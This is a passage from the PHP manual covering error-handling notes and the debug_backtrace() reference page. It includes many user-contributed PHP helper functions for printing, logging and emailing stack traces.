$user_errors = E_USER_ERROR | E_USER_WARNING | E_USER_NOTICE;

//...blah...

if ($errno & $user_errors) {
    //...whatever
}

//... ?>
Or for those of you who don't like the idea of using an integer as the condition in an if statement:

<?php
if (($errno & $user_errors) > 0) {
    //...whatever
}
?>

I think that's much more efficient than using _yet another_ array() constuct and an in_array().

If I am wrong, and the E_* constants aren't supposed to be used in this fashion (ie, the constans aren't guaranteed to be bitwise, which would be odd since that's how they're setup in the php.ini file), then delete me. I just don't see why one should be using arrays when bitwise comparisons will work, considering the bitwise method should be MUCH more efficient.
giunta dot gaetano at sea-aeroportimilano dot it 23-Jun-2005 02:03
Something to take care of: if track_errors is enabled, $php_errormsg will always be populated with error messages of warning (and possibly notice?) level, regardless of the error_reporting level set.
20-May-2005 04:20
When configuring your error log file in php.ini, you can use an absolute path or a relative path.  A relative path will be resolved based on the location of the generating script, and you'll get a log file in each directory you have scripts in.  If you want all your error messages to go to the same file, use an absolute path to the file.

In some application development methodologies, there is the concept of an application root directory, indicated by "/" (even on Windows).  However, PHP does not seem to have this concept, and using a "/" as the initial character in a log file path produces weird behavior on Windows.

If you are running on Windows and have set, in php.ini:

  error_log = "/php_error.log"

You will get some, but not all, error messages.  The file will appear at

  c:\php_error.log

and contain internally generated error messages, making it appear that error logging is working.  However, log messages requested by error_log() do NOT appear here, or anywhere else, making it appear that the code containing them did not get processed.

Apparently on Windows the internally generated errors will interpret "/" as "C:\" (or possibly a different drive if you have Windows installed elsewhere - I haven't tested this).  However, the error_log process apparently can't find "/" - understandably enough - and the message is dropped silently.
shawing at gmail dot com 27-Jan-2005 02:05
Although the root user writes to the files 'error_log' and 'access_log', the Apache user has to own the file referenced by 'error_log = filename' or no log entries will be written.

; From php.ini
; Log errors to specified file.
error_log = /usr/local/apache/logs/php.errors

[root@www logs]$ ls -l /usr/local/apache/logs/php.errors
-rw-r--r--    1 nobody   root          27K Jan 27 16:58 php.errors
ptah at se dot linux dot org 09-Sep-2004 05:20
PHP5 only (only tested with php5.0).

If you, for some reason, prefer exceptions over errors and have your custom error handler (set_error_handler) wrap the error into an exception you have to be careful with your script.

Because if you, instead of just calling the exception handler, throws the exception, and having a custom exception handler (set_exception_handler). And an error is being triggered inside that exception handler, you will get a weird error:
"Fatal error: Exception thrown without a stack frame in Unknown on line 0"

This error is not particulary informative, is it? :)

This example below will cause this error.
<?php
class PHPErrorException extends Exception
{
    private $context = null;
    public function __construct
        ($code, $message, $file, $line, $context = null)
    {
        parent::__construct($message, $code);
        $this->file = $file;
        $this->line = $line;
        $this->context = $context;
    }
};

function error_handler($code, $message, $file, $line) {
    throw new PHPErrorException($code, $message, $file, $line);
}

function exception_handler(Exception $e)
{
    $errors = array(
        E_USER_ERROR        => "User Error",
        E_USER_WARNING        => "User Warning",
        E_USER_NOTICE        => "User Notice",
        );

    echo $errors[$e->getCode()].': '.$e->getMessage().' in '.$e->getFile().
        ' on line '.$e->getLine()."\n";
    echo $e->getTraceAsString();
}

set_error_handler('error_handler');
set_exception_handler('exception_handler');

// Throw exception with an /unkown/ error code.
throw new Exception('foo', 0);
?>

There are however, easy fix for this as it's only cause is sloppy code.
Like one, directly call exception_handler from error_handler instead of throwing an exception. Not only does it remedy this problem, but it's also faster. Though this will cause a `regular` unhandled exception being printed and if only "designed" error messages are intended, this is not the ultimate solution.

So, what is there to do? Make sure the code in exception_handlers doesn't cause any errors! In this case a simple isset() would have solved it.

regards, C-A B.
Examples
debug_backtrace
Error Handling


Generates a backtrace

Error Handling Functions
debug_print_backtrace
Error Handling Functions
PHP Manual

debug_backtrace

(PHP 4 >= 4.3.0, PHP 5)

debug_backtrace — Generates a backtrace

Description

array debug_backtrace ([ int $options = DEBUG_BACKTRACE_PROVIDE_OBJECT [, int $limit = 0 ]] )

debug_backtrace() generates a PHP backtrace.

Parameters

options

As of 5.3.6, this parameter is a bitmask for the following options:

debug_backtrace() options
DEBUG_BACKTRACE_PROVIDE_OBJECT | Whether or not to populate the "object" index.
DEBUG_BACKTRACE_IGNORE_ARGS | Whether or not to omit the "args" index, and thus all the function/method arguments, to save memory.
Before 5.3.6, the only values recognized are TRUE or FALSE, which are the same as setting or not setting the DEBUG_BACKTRACE_PROVIDE_OBJECT option respectively.

limit

As of 5.4.0, this parameter can be used to limit the number of stack frames returned. By default (limit=0) it returns all stack frames.

Return Values

Returns an array of associative arrays. The possible returned elements are as follows:

Possible returned elements from debug_backtrace()
Name | Type | Description
function | string | The current function name. See also __FUNCTION__.
line | integer | The current line number. See also __LINE__.
file | string | The current file name. See also __FILE__.
class | string | The current class name. See also __CLASS__
object | object | The current object.
type | string | The current call type. If a method call, "->" is returned. If a static method call, "::" is returned. If a function call, nothing is returned.
args | array | If inside a function, this lists the functions arguments. If inside an included file, this lists the included file name(s).

Changelog

Version | Description
5.4.0 | Added the optional parameter limit.
5.3.6 | The parameter provide_object changed to options and additional option DEBUG_BACKTRACE_IGNORE_ARGS is added.
5.2.5 | Added the optional parameter provide_object.
5.1.1 | Added the current object as a possible return element.

Examples

Example #1 debug_backtrace() example

<?php
// filename: /tmp/a.php

function a_test($str)
{
    echo "\nHi: $str";
    var_dump(debug_backtrace());
}

a_test('friend');
?>

<?php
// filename: /tmp/b.php
include_once '/tmp/a.php';
?>

Results similar to the following when executing /tmp/b.php:

Hi: friend
array(2) {
[0]=>
array(4) {
    ["file"] => string(10) "/tmp/a.php"
    ["line"] => int(10)
    ["function"] => string(6) "a_test"
    ["args"]=>
    array(1) {
      [0] => &string(6) "friend"
    }
}
[1]=>
array(4) {
    ["file"] => string(10) "/tmp/b.php"
    ["line"] => int(2)
    ["args"] =>
    array(1) {
      [0] => string(10) "/tmp/a.php"
    }
    ["function"] => string(12) "include_once"
  }
}

See Also

  • trigger_error() - Generates a user-level error/warning/notice message
  • debug_print_backtrace() - Prints a backtrace

User Contributed Notes

ciprian dot stingu at gmail dot com 19-Nov-2011 12:32
A function that i use for debug
I shortened variables name and i eliminated the spaces from second function in order fit in post :(

<?php
define("LFP", './lt.log');
function LogTrace($Argument, $lfn = LFP, $itw = '  ')
{
    error_log("=====\r", 3, $lfn);
    error_log("[BEGIN BACKTRACE]\r", 3, $lfn);
    $it = '';
    $Ts = array_reverse(debug_backtrace());
    foreach($Ts as $T)
       {
        if($T['function'] != 'include' && $T['function'] != 'require' && $T['function'] != 'include_once' && $T['function'] != 'require_once')
        {
            $ft = $it . '<'. basename($T['file']) . '> on line ' . $T['line'];
            if($T['function'] != 'LogTrace')
            {
                if(isset($T['class']))
                    $ft .= ' in method ' . $T['class'] . $T['type'];
                else
                    $ft .= ' in function ';
                $ft .= $Trace['function'] . '(';
            }
            else
                $ft .= '(';
            if(isset($T['args'][0]))
            {
                if($T['function'] != 'LogTrace')
                {
                    $ct = '';
                    foreach($T['args'] as $A)
                    {
                        $ft .= $ct . LogVar($A, '', $it, $itw, 0);
                        $ct = $it . $itw . ',';
                    }
                }
                else
                    $ft .= LogVar($T['args'][0], '', $it, $itw, 0);
            }
            $ft .= $it . ")\r";
            error_log($ft, 3, $lfn);
            $it .= $itw;
        }
    }
    error_log("[END BACKTRACE]\r", 3, $lfn);
}

function LogVar(&$Var, $vn, $pit, $itw, $nlvl, $m = '')
{
    if($nlvl>=16) return;
    if($nlvl==0){$tv=serialize($Var);$tv=unserialize($tv);}
    else $tv=&$Var;
    $it=$pit.$itw;
    for($i=0; $i<$nlvl;$i++) $it.='.'.$itw;
    $o='';$nl="\n";
    if(is_array($tv))
    {
        if(strlen($vn)>0) $o.=$it.$m.'<array> $'.$vn.' = (';
        else $o.="\r".$it.$m.'<array> = (';
        $o.= $nl;$AK=array_keys($tv);
        foreach($AK as $AN) {$AV=&$tv[$AN];$o.=LogVar($AV,$AN,$pit,$itw,$nlvl+1);}
        $o.=$it.')'.$nl;
    }
    else if(is_string($tv))
    {
        if(strlen($vn)>0)$o.=$it.$m.'<string> $'.$vn.' = ';
        else $o.=' '.$m.'<string> = ';
        if($tv===null) $o.='NULL';
        else $o.='"'.$tv.'"';
        $o.=$nl;
    }
    else if(is_bool($tv))
    {
        if(strlen($vn) > 0) $o.=$it.$m.'<boolean> $'.$vn.' = ';
        else $o.=' '.$m.'<boolean> = ';
        if($tv===true) $o.='TRUE';
        else $o.='FALSE';
        $o.=$nl;
    }
    else if(is_object($tv))
    {
        if(strlen($vn)>0)
        {
            $o.=$pit.$itw;
            for($i=0;$i<$nlvl;$i++) $o.='.'.$itw;
            $o.=$m.'<'.get_class($tv).'::$'.$vn.'> = {'.$nl;
        }
        else $o.=' '.$m.'<'.get_class($tv).'::> = {'.$nl;
        $R=new ReflectionClass($tv);
        $o.=$it.'.'.$itw.'Class methods {'.$nl;
        $CM=$R->getMethods();
        foreach($CM as $MN => $MV)
        {
            $o.=$it.'.'.$itw.'.'.$itw.implode(' ',Reflection::getModifierNames($MV->getModifiers())).' '.$MV->getName().'(';
            $MP=$MV->getParameters(); $ct='';
            foreach($MP as $MPN => $MPV)
            {
                $o.=$ct; $o.=$MPV->isOptional()?'[':'';
                if($MPV->isArray()) $o.='<array> ';
                else if($MPV->getClass()!==null) $o.='<'.$MPV->getClass()->getName().'::> ';
                $o.=$MPV->isPassedByReference()?'&':''; $o.='$'.$MPV->getName();
                if($MPV->isDefaultValueAvailable())
                 {
                    if($MPV->getDefaultValue()===null) $o.=' = NULL';
                    else if($MPV->getDefaultValue()===true) $o.=' = TRUE';
                    else if($MPV->getDefaultValue()===false) $o.=' = FALSE';
                    else $o.=' = '.$MPV->getDefaultValue();
                }
                $o.=$MPV->isOptional()?']':''; $ct=', ';
            }
            $o.=')'.$nl;
        }
        $o.=$it.'.'.$itw.'}'.$nl; $o.=$it.'.'.$itw.'Class properties {'.$nl;
        $CV=$R->getProperties();
        foreach($CV as $CN => $CV)
        {
            $M=implode(' ',Reflection::getModifierNames($CV->getModifiers())).' ';
            $CV->setAccessible(true);
            $o.=LogVar($CV->getValue($tv),$CV->getName(),$pit,$itw,$nlvl+2,$M);
        }
        $o.=$it.'.'.$itw.'}'.$nl; $o.=$it.'.'.$itw.'Object variables {'.$nl;
         $OVs=get_object_vars($tv);
        foreach($OVs as $ON => $OV) $o.=LogVar($OV,$ON,$pit,$itw,$nlvl+2);
        $o.=$it.'.'.$itw.'}'.$nl; $o.=$pit.$itw;
        for($i=0;$i<$nlvl;$i++)    $o.='.'.$itw;
        $o.='}'.$nl;
    }
    else
    {
        if(strlen($vn)>0) $o.=$it.$m.'<'.gettype($tv).'> $'.$vn.' = '.$tv;
        else $o.=' '.$m.'<'.gettype($tv).'> = '.$tv;
        $o.=$nl;
    }
    return $o;
}
//test
date_default_timezone_set('Europe/Bucharest');
$date = new DateTime('2010-01-28');
LogTrace($date);
?>
Bill Getas 21-Dec-2010 03:09
Here's my little updated contribution - it prints colorful output in the way I prefer.  Define a helper function isRootIp() that contains an array including your IP; then calls to bt() simply return, so you can sprinkle backtraces in live sites w/o anyone knowing.

<?php
function bt()
{
    if( ! isRootIp() )
    {
        return false;
    }
    array_walk( debug_backtrace(), create_function( '$a,$b', 'print "<br /><b>". basename( $a[\'file\'] ). "</b> &nbsp; <font color=\"red\">{$a[\'line\']}</font> &nbsp; <font color=\"green\">{$a[\'function\']} ()</font> &nbsp; -- ". dirname( $a[\'file\'] ). "/";' ) );
}
?>
henzeberkheij at gmail dot com 10-Oct-2010 02:07
I find it useful to know if a function is being called. in Java for instance you usually print a line with the functionname and arguments in the beginning of the function. I wanted to achieve the same thing in php thus i wrote the following class:

<?php
class Debug
{
    private static $calls;

    public static function log($message = null)
    {
        if(!is_array(self::$calls))
            self::$calls = array();

        $call = debug_backtrace(false);
        $call = (isset($call[1]))?$call[1]:$call[0];

        $call['message'] = $message;
        array_push(self::$calls, $call);
    }
}
?>

include this class before anything else
usage: Debug::log($message); at the beginning of your function.

write yourself a nice printout of the data;
kenorb at gmail dot com 07-Sep-2010 07:11
One line of code to print simplest and shortest human readable backtrace:)
<?php
array_walk(debug_backtrace(),create_function('$a,$b','print "{$a[\'function\']}()(".basename($a[\'file\']).":{$a[\'line\']}); ";'));
?>
php noob 02-Sep-2010 08:32
Surprisingly, no one has described one of the best uses of this: dumping a variable and showing the location. When debugging, especially a big and unfamiliar system, it's a pain remembering where I added those var dumps. Also, this way there is a separator between multiple dump calls.

<?php

function dump( $var ) {
    $result = var_export( $var, true );
    $loc = whereCalled();
    return "\n<pre>Dump: $loc\n$result</pre>";
}

function whereCalled( $level = 1 ) {
    $trace = debug_backtrace();
    $file   = $trace[$level]['file'];
    $line   = $trace[$level]['line'];
    $object = $trace[$level]['object'];
    if (is_object($object)) { $object = get_class($object); }

    return "Where called: line $line of $object \n(in $file)";
}
?>

In addition, calling 'whereCalled()' from any function will quickly identify locations that are doing something unexpected (e.g., updating a property at the wrong time). I'm new to PHP, but have used the equivalent in Perl for years.
jlammertink at gmail dot com 15-Jul-2010 02:32
I use this simple but effective function so i can see which method in the child class called the current method (in the parent class).

<?php
function get_caller_method()
{
    $traces = debug_backtrace();

    if (isset($traces[2]))
    {
        return $traces[2]['function'];
    }

    return null;
}
?>
Lachlan McDowall 23-Apr-2010 04:11
This can be used to show if a file is being accessed directly or being included/called from another:

<?php
if (count(debug_backtrace()) == 0){
  // Do something
}
?>
john dot risken at gmail dot com 25-Feb-2010 10:02
Everybody seems to have their favorite use.  I substitute this function for die().  It gives a message
to the user and emails me a PrettyPrint of what went wrong.  $info is set by me,
and it does a special check in the database object.

<?php
// var_format

function var_format($v) // pretty-print var_export
{
    return (str_replace(array("\n"," ","array"),
array("<br>","&nbsp;","&nbsp;<i>array</i>"),
var_export($v,true))."<br>");
}
function myDie($info)
{
    $mysqlerr=strpos($info,"ERROR=You have an error in your SQL syntax");
    if($mysqlerr>0)$info=substr($info,0,$mysqlerr)." mySql format error";
    $out="<br>MSG='$info'<br>".var_format($_REQUEST)."<br>";
    $bt=debug_backtrace();
    $sp=0;
    $trace="";
    foreach($bt as $k=>$v)
    {
        extract($v);
        $file=substr($file,1+strrpos($file,"/"));
        if($file=="db.php")continue; // the db object
        $trace.=str_repeat("&nbsp;",++$sp); //spaces(++$sp);
        $trace.="file=$file, line=$line, function=$function<br>";
    }
    $out.="<br>".backTrace();
    if(substr($info,0,4)=="XXX ") // special errrors when db is inaccessible
    {
        $out=str_replace("<br>","\n",$out);
        $out=str_replace("&nbsp;"," ",$out);
        mail("me@example.com","Database Execution Error for user ".$REMOTE_ADDR,"$out");
        exit("Database Access Error. Please try again later.");
    }
    mail("me@example.com",'Error Monitor','Execution Error',$out);
    exit("DANG! An execution error in the program has been sent to the webmaster.
If you don't get an email from him soon, please call him.");
}
?>

This produces an output like this

 file=badmode.php, line=5, function=backTrace
  file=login.php, line=209, function=require
   file=midScreen.php, line=264, function=require
    file=masterindex.php, line=161, function=require
     file=production2.php, line=121, function=require
      file=index.php, line=16, function=require
michael dot schramm at gmail dot com 20-Oct-2009 12:29
Be carefull if you are using objects as arguments for function calls!

<?php
error_reporting(E_ALL);

function myPrint($trace){
    foreach($trace as $i=>$call){
        /**
         * THIS IS NEEDED! If all your objects have a __toString function it's not needed!
         *
         * Catchable fatal error: Object of class B could not be converted to string
         * Catchable fatal error: Object of class A could not be converted to string
         * Catchable fatal error: Object of class B could not be converted to string
         */
        if (is_object($call['object'])) { $call['object'] = 'CONVERTED OBJECT OF CLASS '.get_class($call['object']); }
        if (is_array($call['args'])) {
            foreach ($call['args'] AS &$arg) {
                if (is_object($arg)) { $arg = 'CONVERTED OBJECT OF CLASS '.get_class($arg); }
            }
        }

        $trace_text[$i] = "#".$i." ".$call['file'].'('.$call['line'].') ';
        $trace_text[$i].= (!empty($call['object'])?$call['object'].$call['type']:'');
        $trace_text[$i].= $call['function'].'('.implode(', ',$call['args']).')';
    }

    var_dump($trace_text);
}

class A{
    public function test($obj){
        $obj->test();
    }
}

class B{
    public function test(){
        echo myPrint(debug_backtrace());
    }
}

$A = new A();
$B = new B();

$A->test($B);

?>
frank at frank dot com 07-May-2008 11:12
Here is my simple example:
Code printing variable of class which instatiates the printing class.

Well, I am sure you understand when looking at the code:
Print result is: jippii

<?php
class A {

        function something() {
                $s = debug_backtrace();

                $callingObject = $s[1]['object'];
                $test = $callingObject->jip;
                print $test;
        }

}

class B {
      var $jip;

        function execute() {
                $a = new A();
                $this->jip = "jippii";
                $a->something();
        }

}
$control = new B();
$control->execute();
?>
samthor 11-Feb-2008 12:04
Here's a way to get the arguments for an upstream function in your stack (works with class methods, static methods and non-class methods):
<?php
/**
 * getArgs - find arguments of upstream method
 * can be called with, e.g. "funcname", "class::staticmethod", "class->instancemethod".
 */
function getArgs( $target, $subclass_ok = true ) {

    if( strpos( $target, "::" ) ) {
        list( $class, $target ) = explode( "::", $target, 2 );
        $type = "::";
    }
    else if( strpos( $target, "->" ) ) {
        list( $class, $target ) = explode( "->", $target, 2 );
        $type = "->";
    }
    else {
        $type = NULL;
        $class = NULL;
    }
    $class and $class = new ReflectionClass( $class );

    foreach( debug_backtrace() as $obj ) {

        if( $obj['function'] == $target ) {
            if( $type and $obj['type'] == $type ) {
                $_cl = new ReflectionClass( $obj['class'] );
                if( $_cl->getName() == $class->getName() or ( $subclass_ok and $_cl->isSubclassOf( $class ) ) ) {
                    return $obj['args'];
                }
                unset( $_cl );
            }
            else if( !$type ) {
                return $obj['args'];
            }
        }

    }

    return NULL;

}
?>

Some example usage:
<?php
class Foo {
    function test() {
        $args = getArgs( "Foo->base" );
        print( "the parameter 'v' to my call of base was: {$args[0]}\n" );
    }
    function base( $v ) {
        $this->test();
    }
}

$f = new Foo();
$f->base( 713 ); // will print.. ".. my call of base was: 713"

?>

Trust me, there are some reasons for why you might want to do this :)
aryel at iku dot com dot br 29-Jan-2008 02:40
An easy function to pull all details of the debug backtrace:

<?php
function getDebugBacktrace($NL = "<BR>") {
    $dbgTrace = debug_backtrace();
    $dbgMsg .= $NL."Debug backtrace begin:$NL";
    foreach($dbgTrace as $dbgIndex => $dbgInfo) {
        $dbgMsg .= "\t at $dbgIndex  ".$dbgInfo['file']." (line {$dbgInfo['line']}) -> {$dbgInfo['function']}(".join(",",$dbgInfo['args'])")$NL";
    }
    $dbgMsg .= "Debug backtrace end".$NL;
    return $dbgMsg;
}
?>

Then you can call it anywhere you want to get a string with the debug backtrace in readable format (i.e. your error handling function)

<?php
$backtrace = getDebugBacktrace();
echo "Fatal error! Cannot connect to database!";
echo $backtrace;
?>

If you're running on command line, you might want to replace the line split. You can do that thru the function argument:

<?php
$backtrace = getDebugBacktrace("\n");
echo "Error! Server is running out of foos! Dumping error backtrace";
echo $backtrace;
?>

Hope that helps,
Aryel
misterpib at gmail dot com 17-Oct-2007 09:35
You should probably try to avoid changing any of the items in the args array. Consider this example:
----------
function a(&$value)
{
  echo "start a: $value\n";
  b();
  echo "end a: $value\n";
}

function b()
{
  echo "start b\n";
  $stack = debug_backtrace();
  $stack[1]['args'][0] = 'bob';
  echo "end b\n";
}

$mynum = 42;
a($mynum);
--------------

This prints:

start a: 42
start b
end b
end a: bob
php at kennel17 dot co dot uk 20-Jun-2007 09:30
Further to my previous note, the 'object' element of the array can be used to get the parent object.  So changing the get_class_static() function to the following will make the code behave as expected:

<?php
    function get_class_static() {
        $bt = debug_backtrace();

        if (isset($bt[1]['object']))
            return get_class($bt[1]['object']);
        else
            return $bt[1]['class'];
    }
?>

HOWEVER, it still fails when being called statically.  Changing the last two lines of my previous example to

<?php
  foo::printClassName();
  bar::printClassName();
?>

...still gives the same problematic result in PHP5, but in this case the 'object' property is not set, so that technique is unavailable.
php at kennel17 dot co dot uk 20-Jun-2007 09:01
The value of the class argument has changed slightly between PHP4 and PHP5:

Here's an example:

<?php

  function get_class_static() {
    $bt = debug_backtrace();
    $name = $bt[1]['class'];
    return $name;
  }

  class foo {
    function printClassName() {
      print(get_class_static() . "\n");
     }
  }

  class bar extends foo {
  }

$f = new foo();
$b = new bar();
$f->printClassName();
$b->printClassName();

?>

In PHP4 you get:

  foo
  bar

In PHP5 you get:

  foo
  foo

debug_backtrace() now sets the 'class' parameter to be the class that the function is actually defined in, not the name of the instantiated class.
jsnell at e-normous dot com 30-May-2007 02:35
If you are using the backtrace function in an error handler, avoid using var_export() on the args, as you will cause fatal errors in some situations, preventing you from seeing your stack trace.  Some structures will cause PHP to generate the fatal error "Nesting level too deep - recursive dependency?" This is a design feature of php, not a bug (see http://bugs.php.net/bug.php?id=30471)
kroczu AT interia DOT pl 23-Jan-2007 10:24
<?
// useful and comfortable debug function
// it's show memory usage and time flow between calls, so we can quickly find a block of code that need optimisation...
// example result:
/*
debug example.php> initialize
debug example.php> code-lines: 39-41 time: 2.0002 mem: 19 KB
debug example.php> code-lines: 41-44 time: 0.0000 mem: 19 KB
debug example.php> code-lines: 44-51 time: 0.6343 mem: 9117 KB
debug example.php> code-lines: 51-53 time: 0.1003 mem: 9117 KB
debug example.php> code-lines: 53-55 time: 0.0595 mem: 49 KB
 */

function debug()
{
   static $start_time = NULL;
   static $start_code_line = 0;

   $call_info = array_shift( debug_backtrace() );
   $code_line = $call_info['line'];
   $file = array_pop( explode('/', $call_info['file']));

   if( $start_time === NULL )
   {
       print "debug ".$file."> initialize\n";
       $start_time = time() + microtime();
       $start_code_line = $code_line;
       return 0;
   }

   printf("debug %s> code-lines: %d-%d time: %.4f mem: %d KB\n", $file, $start_code_line, $code_line, (time() + microtime() - $start_time), ceil( memory_get_usage()/1024));
   $start_time = time() + microtime();
   $start_code_line = $code_line;
}

////////////////////////////////////////////////
// example:

debug();
sleep(2);
debug();
// soft-code...
$a = 3 + 5;
debug();

// hard-code
for( $i=0; $i<100000; $i++)
{
    $dummy['alamakota'.$i] = 'alamakota'.$i;
}
debug();
usleep(100000);
debug();
unset($dummy);
debug();

?>
seaside dot ki at mac dot com 14-Dec-2006 04:20
I've started creating an external debug server for PHP. A PHP app require_once's a TADebugger(), which communicates with the debug sever. Find the OS X universal binary here [PHP source sample included]:

   http://www.turingart.com/downloads/phpDebugger.zip

Currently, TADebugger allows to post these properties back to the debug server:

- Call backtraces
- String messages
- Source files, which were referenced by a backtrace call

Note, that the binary is a early version.
icefragment at gmail dot com 23-Sep-2006 09:34
A simple python-like backtrace. Note that I don't recurse into arrays if they are passed as arguments to functions.

function backtrace()
{
    $bt = debug_backtrace();

    echo("<br /><br />Backtrace (most recent call last):<br /><br />\n");
    for($i = 0; $i <= count($bt) - 1; $i++)
    {
        if(!isset($bt[$i]["file"]))
            echo("[PHP core called function]<br />");
        else
            echo("File: ".$bt[$i]["file"]."<br />");

        if(isset($bt[$i]["line"]))
            echo("&nbsp;&nbsp;&nbsp;&nbsp;line ".$bt[$i]["line"]."<br />");
        echo("&nbsp;&nbsp;&nbsp;&nbsp;function called: ".$bt[$i]["function"]);

        if($bt[$i]["args"])
        {
            echo("<br />&nbsp;&nbsp;&nbsp;&nbsp;args: ");
            for($j = 0; $j <= count($bt[$i]["args"]) - 1; $j++)
            {
                if(is_array($bt[$i]["args"][$j]))
                {
                    print_r($bt[$i]["args"][$j]);
                }
                else
                    echo($bt[$i]["args"][$j]);

                if($j != count($bt[$i]["args"]) - 1)
                    echo(", ");
            }
        }
        echo("<br /><br />");
    }
}
zmorris at mac dot com 20-Sep-2006 07:48
Hi, I got tired of using a trace( $message, __FILE__, __LINE__ ) function I made.  It forced me to include the file and line params (since php doesn't have macros) so I decided to make an alternative.

Simply call this new version using trace( 'my message' ); and it prints out a stack trace in a clearer way than the one stored in the debug_backtrace() array.  It handles traces from outside of functions, traces in nested functions, and traces in included files, and also displays the function in a way that can be pasted right back into your php code for faster testing!

NOTE - be sure to save your files with the correct line endings for the line numbers to work correctly, which for Mac OS X is unix.  You can get to this option in the popup menu in the toolbar at the top of each window in BBEdit.

<?php

function    print_var( $var )
{
   if( is_string( $var ) )
       return( '"'.str_replace( array("\x00", "\x0a", "\x0d", "\x1a", "\x09"), array('\0', '\n', '\r', '\Z', '\t'), $var ).'"' );
   else if( is_bool( $var ) )
   {
       if( $var )
           return( 'true' );
       else
           return( 'false' );
   }
   else if( is_array( $var ) )
   {
       $result = 'array( ';
       $comma = '';
       foreach( $var as $key => $val )
       {
           $result .= $comma.print_var( $key ).' => '.print_var( $val );
           $comma = ', ';
       }
       $result .= ' )';
       return( $result );
   }

   return( var_export( $var, true ) );    // anything else, just let php try to print it
}

function    trace( $msg )
{
   echo "<pre>\n";

   //var_export( debug_backtrace() ); echo "</pre>\n"; return;    // this line shows what is going on underneath

   $trace = array_reverse( debug_backtrace() );
   $indent = '';
   $func = '';

   echo $msg."\n";

   foreach( $trace as $val)
   {
       echo $indent.$val['file'].' on line '.$val['line'];

       if( $func ) echo ' in function '.$func;

       if( $val['function'] == 'include' ||
           $val['function'] == 'require' ||
           $val['function'] == 'include_once' ||
           $val['function'] == 'require_once' )
           $func = '';
       else
       {
           $func = $val['function'].'(';

           if( isset( $val['args'][0] ) )
           {
               $func .= ' ';
               $comma = '';
               foreach( $val['args'] as $val )
               {
                   $func .= $comma.print_var( $val );
                   $comma = ', ';
               }
               $func .= ' ';
           }

           $func .= ')';
       }

       echo "\n";

       $indent .= "\t";
   }

   echo "</pre>\n";
}

trace( 'error outside function' );

function    test( $param1, $param2, $param3, $param4 )
{
   trace( 'error in test()' );
}

test( 1.1, "param2\n", array( 1 => "a\n", "b\n" => 2 ), false );

?>
admin at sgssweb dot com 13-Aug-2006 02:30
Surprizingly, debug_backtrace() cannot aquire arguments from the function that is used as the second or later argument of a function.

<?php

function a($p) {
    $backtrace = debug_backtrace();

    if (isset($backtrace[0]['args']))
        var_export($backtrace[0]['args']);
    else
        echo "Cannot aquire arguments";
    echo "<br />";

    return $p;
}

function b($p1, $p2, $p3) {
    echo "$p1, $p2, $p3";
}

// This outputs:
//    array ( 0 => 'First a', )
//    Cannot aquire arguments
//    Cannot aquire arguments
//    First a, Second a, Third a
b(a("First a"), a("Second a"), a("Third a"));

?>
tiwen at rpgame dot de 30-Apr-2006 01:25
Another debug output. This is a short function that does not display the args (sometimes password are in arguments ...) and shows the callstack clearly in a table. In most cases i don't need more ...

<?php
function dieDebug($sError)
{
    echo "<hr /><div>".$sError."<br /><table border='1'>";
    $sOut=""; $aCallstack=debug_backtrace();

    echo "<thead><tr><th>file</th><th>line</th><th>function</th>".
        "</tr></thead>";
    foreach($aCallstack as $aCall)
    {
        if (!isset($aCall['file'])) $aCall['file'] = '[PHP Kernel]';
        if (!isset($aCall['line'])) $aCall['line'] = '';

        echo "<tr><td>{$aCall["file"]}</td><td>{$aCall["line"]}</td>".
            "<td>{$aCall["function"]}</td></tr>";
    }
    echo "</table></div><hr /></p>";
    die();
}
?>

To use it, simply do something like this:

<?php
if(...) dieDebug("another error found!");
?>
http://synergy8.com 13-Dec-2005 10:37
It should be noted that if an internal php function such as call_user_func in the backtrace, the 'file' and 'line' entries will not be set.

Most debug tracers will use these entries.  You should place a check to see if the key exists in the array before using this function.  Otherwise notices will be generated.

<?php

$arrTrace = debug_backtrace();

foreach ($arrTrace as $arr)
{
    if (!isset ($arr['file']))
    {
        $arr['file'] = '[PHP Kernel]';
    }

    if (!isset ($arr['line']))
    {
        $arr['line'] = '';
    }

    // Do something
}

?>
tb 21-Jul-2005 11:18
I use this for debugging in my object oriented systems.  It allows me to output a debug/error/warning function with exact information about the location that the error was thrown, which is useful.  Check it:

<?php
abstract class Debugger {

    /**
     * Throw a debug message.
     */
    abstract function debug($msg);

    /**
     * Throw an error message.
     */
    abstract function error($msg);

    /**
     * Throw a warning message.
     */
    abstract function warning($msg);

    /**
     * Wrap a message with information about class, function, file and line
     * number and return it.
     */
    protected function getMsg($msg) {
        $bt = debug_backtrace();

        // get class, function called by caller of caller of caller
        $class = $bt[2]['class'];
        $function = $bt[2]['function'];

        // get file, line where call to caller of caller was made
        $file = $bt[1]['file'];
        $line = $bt[1]['line'];

        // build & return the message
        return "$class::$function: $msg in $file at $line";
    }

}
?>

Implement different debuggers for different scenarios (development, testing, production).  Each debugger extends Debugger; each of its methods (debug/error/warning) calls $this->getMsg($msg) to get a message with class, function, file, and line information.  Then it can either log it, email it, die with it, etc.

Then, just give each object (perhaps using a common superclass Object) a concrete debugger.  Then, from any object method, do something like:

<?php
class Foo extends Object {
     function bar() {
          $this->debugger->error("This is an error");
     }
}
?>

Which produces something like:

Foo::bar: This is an error in /some/file at X
diz at ysagoon dot com 24-Nov-2004 02:35
Ok as spagmoid already said, I just realized that my function has a similar bug than jlim's function.

So just add the following line:
if (is_array($bt['args']))
before line:
foreach ($bt['args'] as $a) {

This way you avoid the warning from being displayed.
diz at ysagoon dot com 23-Nov-2004 02:40
And here are my two cents for a useful and good looking backtrace function.

<?php

function backtrace()
{
    $output = "<div style='text-align: left; font-family: monospace;'>\n";
    $output .= "<b>Backtrace:</b><br />\n";
    $backtrace = debug_backtrace();

    foreach ($backtrace as $bt) {
        $args = '';
        foreach ($bt['args'] as $a) {
            if (!empty($args)) {
                $args .= ', ';
            }
            switch (gettype($a)) {
            case 'integer':
            case 'double':
                $args .= $a;
                break;
            case 'string':
                $a = htmlspecialchars(substr($a, 0, 64)).((strlen($a) > 64) ? '...' : '');
                $args .= "\"$a\"";
                break;
            case 'array':
                $args .= 'Array('.count($a).')';
                break;
            case 'object':
                $args .= 'Object('.get_class($a).')';
                break;
            case 'resource':
                $args .= 'Resource('.strstr($a, '#').')';
                break;
            case 'boolean':
                $args .= $a ? 'True' : 'False';
                break;
            case 'NULL':
                $args .= 'Null';
                break;
            default:
                $args .= 'Unknown';
            }
        }
        $output .= "<br />\n";
        $output .= "<b>file:</b> {$bt['line']} - {$bt['file']}<br />\n";
